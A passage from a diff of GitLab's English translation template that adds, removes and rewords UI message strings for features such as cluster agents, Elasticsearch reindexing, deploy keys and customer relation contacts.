+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
